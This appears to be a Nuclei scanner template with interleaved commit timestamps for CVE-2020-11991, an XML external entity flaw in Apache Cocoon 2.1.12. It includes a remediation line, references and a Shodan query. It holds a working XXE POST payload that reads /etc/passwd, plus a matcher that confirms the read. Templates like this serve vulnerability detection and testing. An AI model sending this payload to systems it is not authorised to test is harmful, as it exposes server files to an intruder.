2023-08-18 08:55:46 +02:00
id : CVE-2020-11991
info :
name : Apache Cocoon 2.1.12 - XML Injection
author : pikpikcu
severity : high
description : Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
2023-09-16 17:58:50 +02:00
remediation : Upgrade to Apache Cocoon 2.1.13 or later.
2023-08-18 08:55:46 +02:00
reference :
- https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
- https://nvd.nist.gov/vuln/detail/CVE-2020-11991
- https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2020-11991
cwe-id : CWE-611
2023-11-01 09:00:03 +01:00
epss-score : 0.80133
epss-percentile : 0.97951
2023-08-18 08:55:46 +02:00
cpe : cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
metadata :
max-request : 1
vendor : apache
product : cocoon
2023-09-16 17:58:50 +02:00
shodan-query : http.html:"Apache Cocoon"
2023-08-18 08:55:46 +02:00
tags : cve,cve2020,apache,xml,cocoon,xxe
http :
- method : POST
path :
- "{{BaseURL}}/v2/api/product/manger/getInfo"
body : |
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
headers :
Content-Type : "text/xml"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:.*:0:0:"
- type : status
status :
- 200
2023-11-01 09:00:03 +01:00
# digest: 4a0a00473045022100b7ff3875b8967c6d9929f701bf2669ba7883f882413a556728bd108be10f562c022054aa64efc74472196c61ff51739300af3555479a084cb830e4a11f0757c8ce2f:922c64590222798bb761d5b6d8e72950